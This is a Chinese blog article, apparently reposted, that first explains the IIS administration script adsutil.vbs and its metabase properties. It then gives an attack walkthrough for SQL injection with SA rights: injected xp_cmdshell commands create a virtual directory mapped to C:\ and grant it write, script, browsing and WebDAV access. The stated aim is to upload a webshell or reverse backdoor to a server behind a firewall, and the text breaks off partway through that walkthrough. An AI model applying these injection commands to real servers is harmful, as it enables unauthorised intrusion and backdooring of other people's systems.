zoukankan      html  css  js  c++  java
  • Adsutil.vbs 在脚本攻击中的妙用

    一、简单介绍 
    adsutil.vbs是什么?相信用过IIS的网管员不会不知道。这是IIS自带的提供于命令行下管理IIS的一个脚本。位于%SystemDrive%\Inetpub\AdminScripts目录下。足足有95,426 字节大小。这么大的脚本一看就知道功能强大。事实也的确如此。基本上我的感觉它就是个命令行下的"Internet 信息服务管理器"。(事实上2000的服务器上%SystemDrive%\Inetpub\AdminScripts下原有20多个vbs文件以供管理。而到了2003则只剩下adsutil.vbs一个了。足以说明它的功能是多么复杂) 
    提到adsutil.vbs就不得不提到MetaBase.bin。这个文件是IIS最重要的配置文件。所有对IIS的设置最终都会储存在这个文件中。IIS管理器和adsutil.vbs就是通过对这个文件读取配置信息来显示给用户的。MetaBase.bin的储存结构十分像注册表,是一种树型储存结构。IIS管理器和adsutil.vbs通过一个Adspath的路径来访问MetaBase.bin。路径是由IIS:\开头,其中LocalHost表示本地服务器,而w3svc表示IIS服务。如IIS:\LocalHost/w3svc/1表示本地服务器上的第一个web站点。IIS:\LocalHost/w3svc/1/root/Vdir表示第一个web站点根目录下的Vdir虚拟目录。 
    有了这些前置知识,下面再回到adsutil.vbs来看看它的用法吧: 

    C:\Inetpub\AdminScripts>cscript adsutil.vbs    //别忘了键入cscript.exe这个脚本宿主文件名哦 
    Microsoft (R) Windows Script Host Version 5.6 
    版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。 


    Usage: 
          ADSUTIL.VBS [ []] 

    Description: 
    IIS administration utility that enables the configuration of metabase properties 


    Supported Commands:    //支持的命令。这个最重要 
      GET, SET, ENUM, DELETE, CREATE, COPY, 
      APPCREATEINPROC, APPCREATEOUTPROC, APPCREATEPOOLPROC, APPDELETE, APPUNLOAD, AP 
    PGETSTATUS 

    Samples:    //简单的几个例子 
      adsutil.vbs GET W3SVC/1/ServerBindings   //查看第一个虚拟web站点的邦定端口。这里的W3SVC/1是IIS:\ LocalHostW3SVC/1的简写,而ServerBindings是他的属性。下同。 
      adsutil.vbs SET W3SVC/1/ServerBindings ":81:"  //设定第一个虚拟web站点的邦定端口为81。 
      adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir"  //在第一个虚拟web站点根目录下建立一个MyVdir的虚拟目录。后面的"IIsWebVirtualDir"指的是目录类型。 
      adsutil.vbs START_SERVER W3SVC/1  //启动第一个虚拟web站点。 
      adsutil.vbs ENUM /P W3SVC   //查看IIS的所有站点。 

    For Extended Help type: 
      adsutil.vbs HELP  //如果想要进一步的查看帮助,键入此命令。我这里就不转了。防止有人说我赚稿费。大家可以自己看看。 

    以上"//"后的文字都是我添加上去的注释(下同)。相信这样应该可以看懂了吧大家。 
    我们所常用的adsutil.vbs的命令有这么几个:GET, SET, ENUM, DELETE, CREATE。现在我来一一说明: 
    GET命令通常是用来查看目录的各项属性值的。SET是用来设定目录属性用的。ENUM也是用来查看属性。所不同的是他直接把所有设置了的属性直接全部显示出来。通常一个目录就有好几页东西可看......他有个可选的"/p"开关符。加上了此开关的话。他只会列出此目录下的所有虚拟目录。DELETE命令是用来删除虚拟目录的。CREATE则是创建一个虚拟目录。另外还有几个命令:START_SERVER、STOP_SERVER、PAUSE_SERVER、CONTINUE _SERVER。分别是启动、停止、暂停、继续虚拟站点的运行。 
    一个虚拟目录的大致属性值如下(我只列出了可能我们所常用的,否则会太长了): 

    KeyType                         : (STRING) "IIsWebVirtualDir"  //目录类型,(STRING)说明它是个字符串类型的属性 
    AppRoot                         : (STRING) "/LM/W3SVC/1/ROOT"  //目录IIS路径 
    AppFriendlyName                 : (STRING) "默认应用程序"  //应用程序名 
    AppIsolated                     : (INTEGER) 2  //指定运行于进程外还是进程中,数字类型属性。 
    HttpCustomHeaders               : (LIST) (1 Items)   //自定义IIS数据头 
      "Powered By : www.WoFeiWo.Info" 

    HttpErrors                      : (LIST) (42 Items)  //各种IIS代码所返回的页面。可以自行设置。我这里将会显省略了。 
    DefaultDoc                      : (STRING) "Default.htm,index.htm,Default.asp,in 
    dex.asp,Default.php,index.php,Default.aspx,index.aspx"   //目录的默认主页面名称。 
    Path                            : (STRING) "D:\ftp"  //目录所真正映射的物理路径 
    AccessFlags                     : (INTEGER) 513  //我也不知道这是啥。反正没设置过。好像会自动设置的 
    AccessExecute                   : (BOOLEAN) False   //目录的执行权限,是布尔值 
    AccessSource                    : (BOOLEAN) False   //目录的Webdav访问是否允许 
    AccessRead                      : (BOOLEAN) True   //目录的只读权限 
    AccessWrite                     : (BOOLEAN) False   //目录的写权限 
    AccessScript                    : (BOOLEAN) True    //目录是否允许执行脚本 
    AccessNoRemoteExecute           : (BOOLEAN) False 
    AccessNoRemoteRead              : (BOOLEAN) False 
    AccessNoRemoteWrite             : (BOOLEAN) False 
    AccessNoRemoteScript            : (BOOLEAN) False 
    AccessNoPhysicalDir             : (BOOLEAN) False 
    ScriptMaps                      : (LIST) (27 Items)   //应用程序扩展名映射 
      ".asa,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" 
      ".asp,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" 
      ".aspx,C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEA 
    D,POST,DEBUG" 
      ..................  //这里省略了n多数据 
    AspEnableParentPaths            : (BOOLEAN) True 
    AppPoolId                       : (STRING) "DefaultAppPool"  //应用程序池名称 
    DontLog                         : (BOOLEAN) True   //禁止IISLog纪录 
    DirBrowseFlags                  : (INTEGER) -1073741762 
    EnableDirBrowsing               : (BOOLEAN) True  //目录是否允许列目录 
    DirBrowseShowDate               : (BOOLEAN) True  //这里及以下都是显示目录时的参数设置。英文都很简单。我也就不多说了。 
    DirBrowseShowTime               : (BOOLEAN) True 
    DirBrowseShowSize               : (BOOLEAN) True 
    DirBrowseShowExtension          : (BOOLEAN) True 
    DirBrowseShowLongDate           : (BOOLEAN) True 
    EnableDefaultDoc                : (BOOLEAN) True  //是否开启默认主页文档 

    以上是我用cscript adsutil.vbs ENUM w3svc/1/root命令在自己机器上察看到的。大家也可以自己输入以上命令研究。 
    上面的属性我们都可以来通过SET命令来进行设置。如下方式: 
    cscript adsutil.vbs SET w3svc/1/root/目录名/属性名 设置值 
    如:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1  //设置第一个虚拟web站点下的wofeiwo虚拟目录的可读权限为Ture 
    或:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path "C:\"  //设置目录的映射路径是"C:\" 
    下面来看看我们的简单利用的例子 
    二、adsutil.vbs的利用 
    (一)MSSQL Injection的上传新思路 
    或许大家会在MSSQL的注入中碰到这种情况:SA权限。可以执行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)。可是服务器是在内网。外面是个堡垒主机。只是做了个80端口的映射。3389开了没有用(内网连不上啊),所有反向木马也传不上去(Tftp、Ftp、Wget、exe2bat等等)这时候你该怎么办? 
    Amanl大哥经典的《榨干MSSQL最后一滴血》给我们一个很好的思路:就是利用%SystemDrive%\Inetpub\AdminScripts下的vbs建立一个新的虚拟目录。自定义其映射的绝对路径。这样可以绕过了对web绝对路径的猜解。然后通过BACKUP或MASKWEBTASK备份数据库或临时表到虚拟目录下(或是直接echo)就可以得到了一个shell。 
    上面的想法的确很好。可是用过臭要饭的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多么的低......而echo......我也不想说了。一行一行写那简直是找罪受。(还要不停的转特殊字符......) 
    其实我们可以把Amanl大哥的想法改进一下。在我们建立一个新的虚拟目录的时候。可以加上写目录的权限。再加上Webdav......那么我们不久可以直接通过IIS上传任何文件了吗?也不仅仅局限于文本文件了。如果我们上传了个反向后门在通过SA执行......呵呵,一切就都搞定了! 
    来,马上实行: 
    Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"’;-- 
    Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path "C:\"’;-- 
    注意上面的特殊字符要自己转变。或者你可以用NBSI2或者小路的SQLCOMM来执行以上命令。 
    这样我们就在第一个web站点下建立了一个wofeiwo的虚拟目录,映射到了C:根目录。我再给他加上读和写的权限,为了要一个webshell ,我再加上执行脚本的权限: 
    Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1’;-- 
    Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1’;-- 
    Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1’;-- 
    写到这看过Surperhei《对IIS写权限的利用》的朋友可能会想要自己构造http包来上传文件。其实有更简单的方法: 
    Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1’;-- 
    Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1’;-- 
    设置为允许列目录和webdav访问,然后打开你的IE,Ctrl+O打开"打开"对话框,键入你刚才设置的虚拟目录。选中"以Web文件夹方式打开",确定。
  • 相关阅读:
    P3 创建项目(下)
    P2 创建项目(中)
    P1 创建项目(上)
    ASP.NET Core 3.x 入门视频(完结)
    网易云微专业《职场人必学的Python技能课》
    01.Python配置与运行
    阶段一-03.地址,订单,支付,定时任务开发-第1章 收货地址功能开发-1-6 收货地址
    ASYNC PROGRAMING IN JAVASCRIPT[转]
    Bluebird-NodeJs的Promise
    理解Nodejs的Event Loop
  • 原文地址:https://www.cnblogs.com/huqingyu/p/1127837.html
Copyright © 2011-2022 走看看